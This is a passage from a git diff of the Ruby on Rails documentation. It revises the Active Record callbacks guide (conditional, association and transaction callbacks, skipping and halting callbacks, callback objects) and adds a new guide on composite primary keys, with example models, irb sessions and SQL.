+    if: [:subject_to_parental_control?, -> { untrusted_author? }]
+end
+```
+
+### Using Both `:if` and `:unless`
+
+Callbacks can mix both `:if` and `:unless` in the same declaration:
+
+```ruby
+class Comment < ApplicationRecord
+  before_save :filter_content,
+    if: -> { forum.parental_control? },
+    unless: -> { author.trusted? }
+end
+```
+
+The callback only runs when all the `:if` conditions and none of the `:unless`
+conditions are evaluated to `true`.
 
 Skipping Callbacks
 ------------------
 
-Just as with validations, it is also possible to skip callbacks by using the following methods:
+Just as with [validations](active_record_validations.html), it is also possible
+to skip callbacks by using the following methods:
+
+* [`decrement!`][]
+* [`decrement_counter`][]
+* [`delete`][]
+* [`delete_all`][]
+* [`delete_by`][]
+* [`increment!`][]
+* [`increment_counter`][]
+* [`insert`][]
+* [`insert!`][]
+* [`insert_all`][]
+* [`insert_all!`][]
+* [`touch_all`][]
+* [`update_column`][]
+* [`update_columns`][]
+* [`update_all`][]
+* [`update_counters`][]
+* [`upsert`][]
+* [`upsert_all`][]
+
+Let's consider a `User` model where the `before_save` callback logs any changes
+to the user's email address:
 
-* `decrement`
-* `decrement_counter`
-* `delete`
-* `delete_all`
-* `increment`
-* `increment_counter`
-* `toggle`
-* `touch`
-* `update_column`
-* `update_columns`
-* `update_all`
-* `update_counters`
+```ruby
+class User < ApplicationRecord
+  before_save :log_email_change
+
+  private
+    def log_email_change
+      if email_changed?
+        Rails.logger.info("Email changed from #{email_was} to #{email}")
+      end
+    end
+end
+```
+
+Now, suppose there's a scenario where you want to update the user's email
+address without triggering the `before_save` callback to log the email change.
+You can use the `update_columns` method for this purpose:
 
-These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+```irb
+irb> user = User.find(1)
+irb> user.update_columns(email: 'new_email@example.com')
+```
+
+The above will update the user's email address without triggering the
+`before_save` callback.
+
+WARNING. These methods should be used with caution because there may be
+important business rules and application logic in callbacks that you do not want
+to bypass. Bypassing them without understanding the potential implications may
+lead to invalid data.
+
+[`decrement!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
+[`decrement_counter`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter
+[`delete`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-delete
+[`delete_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_all
+[`delete_by`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_by
+[`increment!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21
+[`increment_counter`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter
+[`insert`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert
+[`insert!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21
+[`insert_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all
+[`insert_all!`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21
+[`touch_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all
+[`update_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column
+[`update_columns`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns
+[`update_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all
+[`update_counters`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters
+[`upsert`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert
+[`upsert_all`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all
+
+Suppressing Saving
+------------------
+
+In certain scenarios, you may need to temporarily prevent records from being
+saved within your callbacks.
+This can be useful if you have a record with complex nested associations and want
+to skip saving specific records during certain operations without permanently disabling
+the callbacks or introducing complex conditional logic.
+
+Rails provides a mechanism to prevent saving records using the
+[`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/classes/ActiveRecord/Suppressor.html).
+By using this module, you can wrap a block of code where you want to avoid
+saving records of a specific type that otherwise would be saved by the code block.
+
+Let's consider a scenario where a user has many notifications.
+Creating a `User` will automatically create a `Notification` record as well.
+
+```ruby
+class User < ApplicationRecord
+  has_many :notifications
+
+  after_create :create_welcome_notification
+
+  def create_welcome_notification
+    notifications.create(event: "sign_up")
+  end
+end
+
+class Notification < ApplicationRecord
+  belongs_to :user
+end
+```
+
+To create a user without creating a notification, we can use the
+ActiveRecord::Suppressor module as follows:
+
+```ruby
+Notification.suppress do
+  User.create(name: "Jane", email: "jane@example.com")
+end
+```
+
+In the above code, the `Notification.suppress` block ensures that the
+`Notification` is not saved during the creation of the "Jane" user.
+
+WARNING: Using the Active Record Suppressor can introduce complexity and
+unexpected behavior. Suppressing saving can obscure the intended flow of your
+application, leading to difficulties in understanding and maintaining the
+codebase over time. Carefully consider the implications of using the suppressor,
+ensuring thorough documentation and thoughtful testing to mitigate
+risks of unintended side effects and test failures.
 
 Halting Execution
 -----------------
 
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+As you start registering new callbacks for your models, they will be queued for
+execution. This queue will include all of your model's validations, the
+registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any callback raises an
+exception, the execution chain gets halted and a **rollback** is issued, and the
+error will be re-raised.
+
+```ruby
+class Product < ActiveRecord::Base
+  before_validation do
+    raise "Price can't be negative" if total_price < 0
+  end
+end
+
+Product.create # raises "Price can't be negative"
+```
+
+This unexpectedly breaks code that does not expect methods like `create` and
+`save` to raise exceptions.
+
+NOTE: If an exception occurs during the callback chain, Rails will re-raise it
+unless it is an `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid`
+exception. Instead, you should use `throw :abort` to intentionally halt the
+chain. If any callback throws `:abort`, the process will be aborted and `create`
+will return false.
+
+```ruby
+class Product < ActiveRecord::Base
+  before_validation do
+    throw :abort if total_price < 0
+  end
+end
+
+Product.create # => false
+```
+
+However, it will raise an `ActiveRecord::RecordNotSaved` when calling `create!`.
+This exception indicates that the record was not saved due to the callback's
+interruption.
+
+```ruby
+User.create! # => raises an ActiveRecord::RecordNotSaved
+```
 
-The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
 
-WARNING. Any exception that is not `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` or `ActiveRecord::RecordInvalid` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
+When `throw :abort` is called in any destroy callback, `destroy` will return
+false:
 
-Relational Callbacks
---------------------
+```ruby
+class User < ActiveRecord::Base
+  before_destroy do
+    throw :abort if still_active?
+  end
+end
+
+User.first.destroy # => false
+```
 
-Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Article` model:
+However, it will raise an `ActiveRecord::RecordNotDestroyed` when calling
+`destroy!`.
+
+```ruby
+User.first.destroy! # => raises an ActiveRecord::RecordNotDestroyed
+```
+
+Association Callbacks
+---------------------
+
+Association callbacks are similar to normal callbacks, but they are triggered by
+events in the life cycle of the associated collection. There are four available
+association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You can define association callbacks by adding options to the association.
+
+Suppose you have an example where an author can have many books. However, before
+adding a book to the authors collection, you want to ensure that the author has
+not reached their book limit. You can do this by adding a `before_add` callback
+to check the limit.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, before_add: :check_limit
+
+  private
+    def check_limit(_book)
+      if books.count >= 5
+        errors.add(:base, "Cannot add more than 5 books for this author")
+        throw(:abort)
+      end
+    end
+end
+```
+
+If a `before_add` callback throws `:abort`, the object does not get added to the
+collection.
+
+At times you may want to perform multiple actions on the associated object. In
+this case, you can stack callbacks on a single event by passing them as an
+array. Additionally, Rails passes the object being added or removed to the
+callback for you to use.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, before_add: [:check_limit, :calculate_shipping_charges]
+
+  def check_limit(_book)
+    if books.count >= 5
+      errors.add(:base, "Cannot add more than 5 books for this author")
+      throw(:abort)
+    end
+  end
+
+  def calculate_shipping_charges(book)
+    weight_in_pounds = book.weight_in_pounds || 1
+    shipping_charges = weight_in_pounds * 2
+
+    shipping_charges
+  end
+end
+```
+
+Similarly, if a `before_remove` callback throws `:abort`, the object does not
+get removed from the collection.
+
+NOTE: These callbacks are called only when the associated objects are added or
+removed through the association collection.
+
+```ruby
+# Triggers `before_add` callback
+author.books << book
+author.books = [book, book2]
+
+# Does not trigger the `before_add` callback
+book.update(author_id: 1)
+```
+
+Cascading Association Callbacks
+-------------------------------
+
+Callbacks can be performed when associated objects are changed. They work
+through the model associations whereby life cycle events can cascade on
+associations and fire callbacks.
+
+Suppose an example where a user has many articles. A user's articles should be
+destroyed if the user is destroyed. Let's add an `after_destroy` callback to the
+`User` model by way of its association to the `Article` model:
 
 ```ruby
 class User < ApplicationRecord
@@ -272,151 +1054,383 @@ class Article < ApplicationRecord
   after_destroy :log_destroy_action
 
   def log_destroy_action
-    puts 'Article destroyed'
+    Rails.logger.info("Article destroyed")
   end
 end
+```
 
->> user = User.first
+```irb
+irb> user = User.first
 => #<User id: 1>
->> user.articles.create!
+irb> user.articles.create!
 => #<Article id: 1, user_id: 1>
->> user.destroy
+irb> user.destroy
 Article destroyed
 => #<User id: 1>
 ```
 
-Conditional Callbacks
+WARNING: When using a `before_destroy` callback, it should be placed before
+`dependent: :destroy` associations (or use the `prepend: true` option), to
+ensure they execute before the records are deleted by `dependent: :destroy`.
+
+Transaction Callbacks
 ---------------------
 
-As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
+### `after_commit` and `after_rollback`
 
-### Using `:if` and `:unless` with a `Symbol`
+Two additional callbacks are triggered by the completion of a database
+transaction: [`after_commit`][] and [`after_rollback`][]. These callbacks are
+very similar to the `after_save` callback except that they don't execute until
+after database changes have either been committed or rolled back. They are most
+useful when your Active Record models need to interact with external systems
+that are not part of the database transaction.
 
-You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
+Consider a `PictureFile` model that needs to delete a file after the
+corresponding record is destroyed.
 
 ```ruby
-class Order < ApplicationRecord
-  before_save :normalize_card_number, if: :paid_with_card?
+class PictureFile < ApplicationRecord
+  after_destroy :delete_picture_file_from_disk
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
 end
 ```
 
-### Using `:if` and `:unless` with a `Proc`
+If anything raises an exception after the `after_destroy` callback is called and
+the transaction rolls back, then the file will have been deleted and the model
+will be left in an inconsistent state. For example, suppose that
+`picture_file_2` in the code below is not valid and the `save!` method raises an
+error.
+
+```ruby
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+```
 
-Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
+By using the `after_commit` callback we can account for this case.
 
 ```ruby
-class Order < ApplicationRecord
-  before_save :normalize_card_number,
-    if: Proc.new { |order| order.paid_with_card? }
+class PictureFile < ApplicationRecord
+  after_commit :delete_picture_file_from_disk, on: :destroy
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
 end
 ```
 
-### Multiple Conditions for Callbacks
+NOTE: The `:on` option specifies when a callback will be fired. If you don't
+supply the `:on` option the callback will fire for every life cycle event. [Read
+more about `:on`](#registering-callbacks-to-fire-on-life-cycle-events).
 
-When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
+When a transaction completes, the `after_commit` or `after_rollback` callbacks
+are called for all models created, updated, or destroyed within that
+transaction. However, if an exception is raised within one of these callbacks,
+the exception will bubble up and any remaining `after_commit` or
+`after_rollback` methods will _not_ be executed.
 
 ```ruby
-class Comment < ApplicationRecord
-  after_create :send_email_to_author, if: :author_wants_emails?,
-    unless: Proc.new { |comment| comment.article.ignore_comments? }
+class User < ActiveRecord::Base
+  after_commit { raise "Intentional Error" }
+  after_commit {
+    # This won't get called because the previous after_commit raises an exception
+    Rails.logger.info("This will not be logged")
+  }
 end
 ```
 
-Callback Classes
-----------------
+WARNING. If your callback code raises an exception, you'll need to rescue it and
+handle it within the callback in order to allow other callbacks to run.
 
-Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+`after_commit` makes very different guarantees than `after_save`,
+`after_update`, and `after_destroy`. For example, if an exception occurs in an
+`after_save` the transaction will be rolled back and the data will not be
+persisted.
 
-Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
+```ruby
+class User < ActiveRecord::Base
+  after_save do
+    # If this fails the user won't be saved.
+    EventLog.create!(event: "user_saved")
+  end
+end
+```
+
+However, during `after_commit` the data was already persisted to the database,
+and thus any exception won't roll anything back anymore.
 
 ```ruby
-class PictureFileCallbacks
-  def after_destroy(picture_file)
-    if File.exist?(picture_file.filepath)
-      File.delete(picture_file.filepath)
-    end
+class User < ActiveRecord::Base
+  after_commit do
+    # If this fails the user was already saved.
+    EventLog.create!(event: "user_saved")
   end
 end
 ```
 
-When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+The code executed within `after_commit` or `after_rollback` callbacks is itself
+not enclosed within a transaction.
+
+In the context of a single transaction, if you represent the same record in the
+database, there's a crucial behavior in the `after_commit` and `after_rollback`
+callbacks to note. These callbacks are triggered only for the first object of
+the specific record that changes within the transaction. Other loaded objects,
+despite representing the same database record, will not have their respective
+`after_commit` or `after_rollback` callbacks triggered.
 
 ```ruby
-class PictureFile < ApplicationRecord
-  after_destroy PictureFileCallbacks.new
+class User < ApplicationRecord
+  after_commit :log_user_saved_to_db, on: :update
+
+  private
+    def log_user_saved_to_db
+      Rails.logger.info("User was saved to database")
+    end
 end
 ```
 
-Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+```irb
+irb> user = User.create
+irb> User.transaction { user.save; user.save }
+# User was saved to database
+```
+
+WARNING: This nuanced behavior is particularly impactful in scenarios where you
+expect independent callback execution for each object associated with the same
+database record. It can influence the flow and predictability of callback
+sequences, leading to potential inconsistencies in application logic following
+the transaction.
+
+### Aliases for `after_commit`
+
+Using the `after_commit` callback only on create, update, or delete is common.
+Sometimes you may also want to use a single callback for both `create` and
+`update`. Here are some common aliases for these operations:
+
+* [`after_destroy_commit`][]
+* [`after_create_commit`][]
+* [`after_update_commit`][]
+* [`after_save_commit`][]
+
+Let's go through some examples:
+
+Instead of using `after_commit` with the `on` option for a destroy like below:
 
 ```ruby
-class PictureFileCallbacks
-  def self.after_destroy(picture_file)
-    if File.exist?(picture_file.filepath)
-      File.delete(picture_file.filepath)
+class PictureFile < ApplicationRecord
+  after_commit :delete_picture_file_from_disk, on: :destroy
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
     end
   end
 end
 ```
 
-If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
+You can instead use the `after_destroy_commit`.
 
 ```ruby
 class PictureFile < ApplicationRecord
-  after_destroy PictureFileCallbacks
+  after_destroy_commit :delete_picture_file_from_disk
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
 end
 ```
 
-You can declare as many callbacks as you want inside your callback classes.
+The same applies for `after_create_commit` and `after_update_commit`.
 
-Transaction Callbacks
----------------------
+However, if you use the `after_create_commit` and the `after_update_commit`
+callback with the same method name, it will only allow the last callback defined
+to take effect, as they both internally alias to `after_commit` which overrides
+previously defined callbacks with the same method name.
 
-There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+```ruby
+class User < ApplicationRecord
+  after_create_commit :log_user_saved_to_db
+  after_update_commit :log_user_saved_to_db
+
+  private
+    def log_user_saved_to_db
+      # This only gets called once
+      Rails.logger.info("User was saved to database")
+    end
+end
+```
 
-Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
+```irb
+irb> user = User.create # prints nothing
+
+irb> user.save # updating @user
+User was saved to database
+```
+
+In this case, it's better to use `after_save_commit` instead which is an alias
+for using the `after_commit` callback for both create and update:
 
 ```ruby
-PictureFile.transaction do
-  picture_file_1.destroy
-  picture_file_2.save!
+class User < ApplicationRecord
+  after_save_commit :log_user_saved_to_db
+
+  private
+    def log_user_saved_to_db
+      Rails.logger.info("User was saved to database")
+    end
 end
 ```
 
-By using the `after_commit` callback we can account for this case.
+```irb
+irb> user = User.create # creating a User
+User was saved to database
+
+irb> user.save # updating user
+User was saved to database
+```
+
+### Transactional Callback Ordering
+
+By default (from Rails 7.1), transaction callbacks will run in the order they
+are defined.
 
 ```ruby
-class PictureFile < ApplicationRecord
-  after_commit :delete_picture_file_from_disk, on: :destroy
+class User < ActiveRecord::Base
+  after_commit { Rails.logger.info("this gets called first") }
+  after_commit { Rails.logger.info("this gets called second") }
+end
+```
 
-  def delete_picture_file_from_disk
-    if File.exist?(filepath)
-      File.delete(filepath)
+However, in prior versions of Rails, when defining multiple transactional
+`after_` callbacks (`after_commit`, `after_rollback`, etc), the order in which
+the callbacks were run was reversed.
+
+If for some reason you'd still like them to run in reverse, you can set the
+following configuration to `false`. The callbacks will then run in the reverse
+order. See the [Active Record configuration
+options](configuring.html#config-active-record-run-after-transaction-callbacks-in-order-defined)
+for more details.
+
+```ruby
+config.active_record.run_after_transaction_callbacks_in_order_defined = false
+```
+
+NOTE: This applies to all `after_*_commit` variations too, such as
+`after_destroy_commit`.
+
+[`after_create_commit`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit
+[`after_destroy_commit`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit
+[`after_save_commit`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit
+[`after_update_commit`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_update_commit
+
+### Per transaction callback
+
+You can also register transactional callbacks such as `before_commit`, `after_commit` and `after_rollback` on a specific transaction.
+This is handy in situations where you need to perform an action that isn't specific to a model but rather a unit of work.
+
+`ActiveRecord::Base.transaction` yields an `ActiveRecord::Transaction` object, which allows registering the said callbacks on it.
+
+```ruby
+Article.transaction do |transaction|
+  article.update(published: true)
+
+  transaction.after_commit do
+    PublishNotificationMailer.with(article: article).deliver_later
+  end
+end
+```
+
+### `ActiveRecord.after_all_transactions_commit`
+
+[`ActiveRecord.after_all_transactions_commit`][] is a callback that allows you to run code after all the current transactions have been successfully committed to the database.
+
+```ruby
+def publish_article(article)
+  Article.transaction do
+    Post.transaction do
+      ActiveRecord.after_all_transactions_commit do
+        PublishNotificationMailer.with(article: article).deliver_later
+        # An email will be sent after the outermost transaction is committed.
+      end
     end
   end
 end
 ```
 
-NOTE: The `:on` option specifies when a callback will be fired. If you
-don't supply the `:on` option the callback will fire for every action.
+A callback registered to `after_all_transactions_commit` will be triggered after the outermost transaction is committed. If any of the currently open transactions is rolled back, the block is never called.
+In the event that there are no open transactions at the time a callback is registered, the block will be yielded immediately.
 
-Since using `after_commit` callback only on create, update or delete is
-common, there are aliases for those operations:
+[`ActiveRecord.after_all_transactions_commit`]: https://api.rubyonrails.org/classes/ActiveRecord.html#method-c-after_all_transactions_commit
+
+Callback Objects
+----------------
 
-* `after_create_commit`
-* `after_update_commit`
-* `after_destroy_commit`
+Sometimes the callback methods that you'll write will be useful enough to be
+reused by other models. Active Record makes it possible to create classes that
+encapsulate the callback methods, so they can be reused.
+
+Here's an example of an `after_commit` callback  class to deal with the cleanup
+of discarded files on the filesystem. This behavior may not be unique to our
+`PictureFile` model and we may want to share it, so it's a good idea to
+encapsulate this into a separate class. This will make testing that behavior and
+changing it much easier.
+
+```ruby
+class FileDestroyerCallback
+  def after_commit(file)
+    if File.exist?(file.filepath)
+      File.delete(file.filepath)
+    end
+  end
+end
+```
+
+When declared inside a class, as above, the callback methods will receive the
+model object as a parameter. This will work on any model that uses the class
+like so:
 
 ```ruby
 class PictureFile < ApplicationRecord
-  after_destroy_commit :delete_picture_file_from_disk
+  after_commit FileDestroyerCallback.new
+end
+```
 
-  def delete_picture_file_from_disk
-    if File.exist?(filepath)
-      File.delete(filepath)
+Note that we needed to instantiate a new `FileDestroyerCallback` object, since
+we declared our callback as an instance method. This is particularly useful if
+the callbacks make use of the state of the instantiated object. Often, however,
+it will make more sense to declare the callbacks as class methods:
+
+```ruby
+class FileDestroyerCallback
+  def self.after_commit(file)
+    if File.exist?(file.filepath)
+      File.delete(file.filepath)
     end
   end
 end
 ```
 
-WARNING. The `after_commit` and `after_rollback` callbacks are called for all models created, updated, or destroyed within a transaction block. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will _not_ be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run.
+When the callback method is declared this way, it won't be necessary to
+instantiate a new `FileDestroyerCallback` object in our model.
+
+```ruby
+class PictureFile < ApplicationRecord
+  after_commit FileDestroyerCallback
+end
+```
+
+You can declare as many callbacks as you want inside your callback objects.
diff --git a/guides/source/active_record_composite_primary_keys.md b/guides/source/active_record_composite_primary_keys.md
new file mode 100644
index 0000000000000..7d80ed272e744
--- /dev/null
+++ b/guides/source/active_record_composite_primary_keys.md
@@ -0,0 +1,327 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Composite Primary Keys
+======================
+
+This guide is an introduction to composite primary keys for database tables.
+
+After reading this guide you will be able to:
+
+* Create a table with a composite primary key
+* Query a model with a composite primary key
+* Enable your model to use a composite primary key for queries and associations
+* Create forms for models that use composite primary keys
+* Extract composite primary keys from controller parameters
+* Use database fixtures for tables with composite primary keys
+
+--------------------------------------------------------------------------------
+
+What are Composite Primary Keys?
+--------------------------------
+
+Sometimes a single column's value isn't enough to uniquely identify every row
+of a table, and a combination of two or more columns is required.
+This can be the case when using a legacy database schema without a single `id`
+column as a primary key, or when altering schemas for sharding or multitenancy.
+
+Composite primary keys increase complexity and can be slower than a single
+primary key column. Ensure your use-case requires a composite primary key
+before using one.
+
+
+Composite Primary Key Migrations
+--------------------------------
+
+You can create a table with a composite primary key by passing the
+`:primary_key` option to `create_table` with an array value:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[8.2]
+  def change
+    create_table :products, primary_key: [:store_id, :sku] do |t|
+      t.integer :store_id
+      t.string :sku
+      t.text :description
+    end
+  end
+end
+```
+
+Querying Models
+---------------
+
+### Using `#find`
+
+If your table uses a composite primary key, you'll need to pass an array
+when using `#find` to locate a record:
+
+```irb
+# Find the product with store_id 3 and sku "XYZ12345"
+irb> product = Product.find([3, "XYZ12345"])
+=> #<Product store_id: 3, sku: "XYZ12345", description: "Yellow socks">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM products WHERE store_id = 3 AND sku = "XYZ12345"
+```
+
+To find multiple records with composite IDs, pass an array of arrays to `#find`:
+
+```irb
+# Find the products with primary keys [1, "ABC98765"] and [7, "ZZZ11111"]
+irb> products = Product.find([[1, "ABC98765"], [7, "ZZZ11111"]])
+=> [
+  #<Product store_id: 1, sku: "ABC98765", description: "Red Hat">,
+  #<Product store_id: 7, sku: "ZZZ11111", description: "Green Pants">
+]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM products WHERE (store_id = 1 AND sku = 'ABC98765' OR store_id = 7 AND sku = 'ZZZ11111')
+```
+
+Models with composite primary keys will also use the full composite primary key
+when ordering:
+
+
+```irb
+irb> product = Product.first
+=> #<Product store_id: 1, sku: "ABC98765", description: "Red Hat">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM products ORDER BY products.store_id ASC, products.sku ASC LIMIT 1
+```
+
+### Using `#where`
+
+Hash conditions for `#where` may be specified in a tuple-like syntax.
+This can be useful for querying composite primary key relations:
+
+```ruby
+Product.where(Product.primary_key => [[1, "ABC98765"], [7, "ZZZ11111"]])
+```
+
+#### Conditions with `:id`
+
+When specifying conditions on methods like `find_by` and `where`, the use
+of `id` will match against an `:id` attribute on the model. This is different
+from `find`, where the ID passed in should be a primary key value.
+
+Take caution when using `find_by(id:)` on models where `:id` is not the primary
+key, such as composite primary key models. See the [Active Record Querying][]
+guide to learn more.
+
+[Active Record Querying]: active_record_querying.html#conditions-with-id
+
+Associations between Models with Composite Primary Keys
+-------------------------------------------------------
+
+Rails can often infer the primary key-foreign key relationships between
+associated models. However, when dealing with composite primary keys, Rails
+typically defaults to using only part of the composite key, usually the `id`
+column, unless explicitly instructed otherwise. This default behavior only works
+if the model's composite primary key contains the `:id` column, _and_ the column
+is unique for all records.
+
+Consider the following example:
+
+```ruby
+class Order < ApplicationRecord
+  self.primary_key = [:shop_id, :id]
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :order
+end
+```
+
+In this setup, `Order` has a composite primary key consisting of `[:shop_id,
+:id]`, and `Book` belongs to `Order`. Rails will assume that the `:id` column
+should be used as the primary key for the association between an order and its
+books. It will infer that the foreign key column on the books table is
+`:order_id`.
+
+Below we create an `Order` and a `Book` associated with it:
+
+```ruby
+order = Order.create!(id: [1, 2], status: "pending")
+book = order.books.create!(title: "A Cool Book")
+```
+
+To access the book's order, we reload the association:
+
+```ruby
+book.reload.order
+```
+
+When doing so, Rails will generate the following SQL to access the order:
+
+```sql
+SELECT * FROM orders WHERE id = 2
+```
+
+You can see that Rails uses the order's `id` in its query, rather than both the
+`shop_id` and the `id`. In this case, the `id` is sufficient because the model's
+composite primary key does in fact contain the `:id` column, _and_ the column is
+unique for all records.
+
+However, if the above requirements are not met or you would like to use the full
+composite primary key in associations, you can set the `foreign_key:` option on
+the association. This option specifies a composite foreign key on the
+association; all columns in the foreign key will be used when querying the
+associated record(s). For example:
+
+```ruby
+class Author < ApplicationRecord
+  self.primary_key = [:first_name, :last_name]
+  has_many :books, foreign_key: [:first_name, :last_name]
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, foreign_key: [:author_first_name, :author_last_name]
+end
+```
+
+In this setup, `Author` has a composite primary key consisting of `[:first_name,
+:last_name]`, and `Book` belongs to `Author` with a composite foreign key
+`[:author_first_name, :author_last_name]`.
+
+Create an `Author` and a `Book` associated with it:
+
+```ruby
+author = Author.create!(first_name: "Jane", last_name: "Doe")
+book = author.books.create!(title: "A Cool Book", author_first_name: "Jane", author_last_name: "Doe")
+```
+
+To access the book's author, we reload the association:
+
+```ruby
+book.reload.author
+```
+
+Rails will now use the `:first_name` _and_ `:last_name` from the composite
+primary key in the SQL query:
+
+```sql
+SELECT * FROM authors WHERE first_name = 'Jane' AND last_name = 'Doe'
+```
+
+Forms for Composite Primary Key Models
+---------------------------
+
+Forms may also be built for composite primary key models.
+See the [Form Helpers][] guide for more information on the form builder syntax.
+
+[Form Helpers]: form_helpers.html
+
+Given a `@book` model object with a composite key `[:author_id, :id]`:
+
+```ruby
+@book = Book.find([2, 25])
+# => #<Book id: 25, title: "Some book", author_id: 2>
+```
+
+The following form:
+
+```erb
+<%= form_with model: @book do |form| %>
+  <%= form.text_field :title %>
+  <%= form.submit %>
+<% end %>
+```
+
+Outputs:
+
+```html
+<form action="/books/2_25" method="post" accept-charset="UTF-8" >
+  <input name="authenticity_token" type="hidden" value="..." />
+  <input type="text" name="book[title]" id="book_title" value="My book" />
+  <input type="submit" name="commit" value="Update Book" data-disable-with="Update Book">
+</form>
+```
+
+Note the generated URL contains the `author_id` and `id` delimited by an
+underscore. Once submitted, the controller can extract primary key values from
+the parameters and update the record. See the next section for more details.
+
+Composite Key Parameters
+------------------------
+
+Composite key parameters contain multiple values in one parameter.
+For this reason, we need to be able to extract each value and pass them to
+Active Record. We can leverage the `extract_value` method for this use-case.
+
+Given the following controller:
+
+```ruby
+class BooksController < ApplicationController
+  def show
+    # Extract the composite ID value from URL parameters.
+    id = params.extract_value(:id)
+    # Find the book using the composite ID.
+    @book = Book.find(id)
+    # use the default rendering behavior to render the show view.
+  end
+end
+```
+
+And the following route:
+
+```ruby
+get "/books/:id", to: "books#show"
+```
+
